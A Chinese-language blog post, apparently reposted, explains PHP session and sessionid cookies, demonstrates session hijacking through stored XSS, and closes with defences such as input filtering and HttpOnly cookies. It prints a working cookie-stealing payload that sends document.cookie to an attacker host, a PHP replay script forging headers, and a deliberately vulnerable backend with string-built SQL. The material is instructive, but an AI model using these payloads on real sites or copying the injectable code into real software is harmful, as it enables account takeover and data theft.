session的基本原理及安全性


1.session原理

提到session,大家肯定會聯想到登錄,登錄成功后記錄登錄狀態,同時標記當前登錄用戶是誰。功能大體上就是這個樣子,但是今天要講的不是功能,而是實現。通過探討session的實現方式來發掘一些可能你之前不知道的有趣的事情。


為了記錄session,在客戶端和服務器端都要保存數據,客戶端記錄一個標記,服務器端不但存儲了這個標記同時還存儲了這個標記映射的數據。好吧,還是說點白話吧,在客戶端記錄的其實是一個sessionid,在服務器端記錄的是一個key-value形式的數據結構,這里的key肯定是指sessionid了,value就代表session的詳細內容。用戶在做http請求的時候,總是會把sessionid傳遞給服務器,然后服務器根據這個sessionid來查詢session的內容(也就是上面說到的value)。
現在我們重點關注一下sessionid,他是今天問題的關鍵所在。sessionid在客戶端(http的客戶端一般就是指瀏覽器了)是存儲在cookie中,當然也有例外(書本上肯定會提到也有保存在url中的,我做程序員這么多年也沒有見過這種方式,這難道就是現實和實際的差距嗎,好殘酷)。


我們通過一個例子來闡述一下這個sessionid在session處理時的作用。首先假定這么一個場景,我們有一個cms(content management system,內容管理系統),這個應用有一個后台,用戶必須登錄才能進入后台進行文章發表等操作。首先是登錄流程,用戶在瀏覽器輸入用戶名、密碼,點擊登錄,瀏覽器會將用戶名密碼提交到服務器程序進行處理;服務器驗證用戶名、密碼正確后,會返回登錄成功信息,並且會修改服務器端的session內容,比如我們將用戶ID寫入session中,為了方便存儲這些session的內容會被序列化成字符串或者二進制保存在文件或者數據庫中,這時候大多數情況下服務器在對當前的http請求進行響應時,會返回一個新的sessionid要求瀏覽器寫入本地cookie中,對應的返回的http響應頭部信息應該會是是這個樣子的:set-cookie:PHPSESSID=xxxxxxx,瀏覽器解析到這個頭之后就會在當前生成一個cookie關聯當前的域名。

圖1.1 登錄時序圖


接着用戶登錄后台進行發表文章操作,登錄用戶填寫文章的標題、內容,然后點擊發送。這時候瀏覽器會生成一條到服務器的http請求,注意這個請求的頭部會將存儲sessionid的cookie內容發送過去,也就是說請求的http頭部信息中應該會有這么一段數據:cookie:PHPSESSID=xxxxxxx;other_cookie_name=yyyyyy;服務器接收到這個http請求之后,解析到cookie存在,且cookie中存在PHPSESSID這個cookie名字,然后就將PHPSESSID的值(也就是sessionid的值)取出來,根據這個PHPSESSID查詢服務器上有沒有對應的session內容,如果有則將其對應的值取出來進行反序列序列化(也就是將其轉成編程語言中的一個數據結果,比如在php中會得到一個$_SESSION數組,在j2ee中會得到類型為javax.servlet.http.HttpSession),方便在程序中進行讀取,最終服務器認定session中儲存的值存在,並且從反序列化得到的對象中讀取到了用戶ID屬性,然后就往cms數據庫的文章表中插入了一條數據,最終返回http響應,告訴瀏覽器操作成功了。

圖1.2 發表文章時序圖

2.入侵示例

關於cookie的一些屬性,可以參考我的另一篇博文關於cookie的一些事,里面會提到一個httponly的屬性,也就是是否禁止js讀取cookie。不幸的是很多常見的服務器(比如apache和tomcat)在生成這個存儲sessionid的cookie的時候,沒有設置httponly這個屬性,也就是說js是可以將這個sessionid讀取出來的。


js讀取到sessionid,這會有問題嗎?如果沒有問題,我就不在這里啰嗦了。你網站上的運行的js代碼並不一定是你寫的,比如說一般網站都有一個發表文章或者說發帖的功能,如果別有用心的人在發表的時候填寫了html代碼(這些html一般是超鏈接或者圖片),但是你的后台又沒有將其過濾掉,發表出來的文章,被其他人點擊了其中惡意鏈接時,就出事了。這也就是我們常說的XSS。

 

   <?php
    session_start();
    $result = array();
    if (!isset($_SESSION['uid']) || !$_SESSION['uid']) {
        $result['code'] = 2;
        $result['msg'] = '尚未登錄';
    } else {
        $uid = $_SESSION['uid'];
        require_once('../globaldb.php');
        if (!isset($_POST['title']) || !$_POST['title']) {
            $result['code'] = 4;
            $result['msg'] = '標題為空';
            goto end;
        }
        if (!isset($_POST['content']) || !$_POST['content']) {
            $result['code'] = 4;
            $result['msg'] = '內容為空';
            goto end;
        }

        if ($db->getStatus()) {
            $title = $_POST['title'];
            $content = $_POST['content'];
            $sql = 'insert into article(title,content,uid,create_time) values("'.$title.'","'.$content.'",'.$uid.',now())';
            $rv = $db->dbExecute($sql);
            if ($rv > 0) {
                $result['code'] = 0;
            } else {
                $result['code'] = 3;
                $result['msg'] = '插入失敗';
            }
        } else {
            $result['code'] = 1;
            $result['msg'] = '數據庫操作失敗';
        }
    }
    end:
    echo (json_encode($result));

 

代碼2.1 添加文章的后台代碼


這里給出了一段不靠譜代碼,之所以這么說是由於對於提交的內容沒有做過濾,比如說content表單域的內容。現在假設有這么兩個網站,一個你自己的CMS網站,域名mycms.whyun.com,一個黑客用的網站,域名session.myhack.com。你可以通過配置hosts來模擬這兩個網站,說到這里可還是推薦一下我之前做過的addhost工具,可以自動生成hosts和vhost配置。代碼2.1正是mycms網站的代碼。
登錄mycms后在后台添加一篇文章,文章內容為:

<a href=\"#\" onclick=\'javascript:alert(document.cookie);return false;\'>點擊我,有驚喜!</a>

 

代碼2.2 alert cookie

圖2.1 顯示cookie的html

打開剛才生成的文章鏈接,然后點擊點擊我,有驚喜!,會顯示當前域下的所有cookie。

圖2.2 cookie被alert出來

當然要想做到攻擊的目的僅僅做這些是不夠的,下面將這個鏈接的內容做的豐富多彩些。

<a href=\"#\" onclick=\'javascript:var link = this; var head = document.getElementsByTagName(\"head\")[0]; var js = document.createElement(\"script\"); js.src = \"http://session.myhack.com/httphack.php?cook=\"+encodeURIComponent(document.cookie); js.onload = js.onreadystatechange = function(){ if (!this.readyState || this.readyState == \"loaded\" || this.readyState == \"complete\") {head.removeChild(js);  alert(\"over\"); } }; head.appendChild(js);return false;\'>點擊我,有驚喜2!</a>

 

代碼2.3 跨站請求
這里為了將代碼嵌入html,得將其寫作一行,其簡潔模式為:

var link = this;
    var head = document.getElementsByTagName("head")[0]; 
    var js = document.createElement("script"); 
    js.src = "http://session.myhack.com/httphack.php?cook="+encodeURIComponent(document.cookie); 
    js.onload = js.onreadystatechange = function(){ 
        if (!this.readyState || this.readyState == "loaded" || this.readyState == "complete") { 
            head.removeChild(js); 
            alert('開始跳轉真正的地址');location.href=link.getAttribute("href");//
        }
    }; 
    head.appendChild(js);

 

代碼2.4 跨站請求簡潔版


為了真正的體現他是超鏈接還是跳轉到一個地址為妙,所以在簡潔班中腳本加載結束后做了跳轉,但是為了演示方便,我們在代碼2.3中沒有這么做。
現在再點擊鏈接點擊我,有驚喜!,查看一下一下網絡請求,會發現一個到session.myhack.com/httphack.php地址的請求,返回數據為var data = {"code":0};

圖2.3 跨站請求

接着看看httphack.php干了啥:

<?php
    error_reporting(E_ALL);
    header("Content-type:application/javascript");

     function getRealIp()
    {
        $ip = '127.0.0.1';
        $ipname = array(
            'REMOTE_ADDR',
            'HTTP_CLIENT_IP',
            'HTTP_X_FORWARDED_FOR',
            'HTTP_X_FORWARDED',
            'HTTP_X_CLUSTER_CLIENT_IP',
            'HTTP_FORWARDED_FOR',
            'HTTP_FORWARDED'
        );
       foreach ($ipname as $value)
       {
           if (isset($_SERVER[$value]) && $_SERVER[$value]) {

                $ip = $_SERVER[$value];
                break;
           }
       }
       return $ip;
    }
    $ip = getRealIp();
    $cookies = isset($_GET['cook']) ? $_GET['cook'] : '';
    $headers = array(
        'User-Agent:'.$_SERVER['HTTP_USER_AGENT'],
        'X-FORWARDED-FOR:'.$ip,
        'Remote-Addr:'.$ip,
        'Cookie:'.$cookies
    );
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, "http://mycms.whyun.com/back/article/article_add.php");
    // 設置cURL 參數,要求結果保存到字符串中還是輸出到屏幕上。
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);  //構造IP
    curl_setopt($ch, CURLOPT_REFERER, $_SERVER['HTTP_REFERER']);   //構造來路
    curl_setopt($ch, CURLOPT_HEADER, 0);

    curl_setopt($ch, CURLOPT_POST, true);
    $params = array('title'=>'這是跨站攻擊測試','content'=>'網站被跨站攻擊了');
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params));

    $out = curl_exec($ch);
    curl_close($ch);

    $data = json_encode($headers);
    echo "var data = $out;";

 

代碼2.5 偽造session提交

從代碼2.5中可以看出,我們偽造了http請求的header內容,吧瀏覽器中mycms域的cookie原封不動傳過去了,同時在header還偽造了user-agent和ip,mycms中在校驗session的時候,發現sessionid和user-agent信息都是對的,所以認為session是存在且合法的!至此為止,我們完成了跨站請求攻擊。

 

3.防范

 

第二章節中,我們的攻擊思路是這樣的,我們示例了通過js獲取cookie,然后生成一個第三方網站的網絡請求,然后再從第三方網站發起一個網絡請求到我們自己的網站上。整個更急流程大體是這樣的:

圖3.1 跨站請求流程

從圖3.1可以看出,讓整個流程無法進行下去的措施有兩個,一個就是加強對提交信息和頁面顯示信息的過濾,讓非法提交內容無處施展;第二個就是讓存儲在cookie中的sessionid不能被js讀取到,這樣即使第一步出現漏洞的情況下,依然不會被攻擊者走完整個攻擊流程。
在php中設置sessionid的httponly屬性的方法有很多,具體可以參考 stackoverflow上的一個提問。jsp中也是有很多方法,可以參考開源中國紅薯發表的一篇文章。這里僅僅貼出來php中一個解決方法,就是在session_start()之后重新設置一下cookie:

<?php
    $sess_name = session_name();//必須在session_start之前調用session_name
    if (session_start()) {
        setcookie($sess_name, session_id(), null, '/', null, null, true);
    }

 

代碼3.1 設置httponly屬性為true

document.cookie="Tid=123;httponly=true;"

 

原文地址:http://blog.csdn.net/yunnysunny/article/details/26935637


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM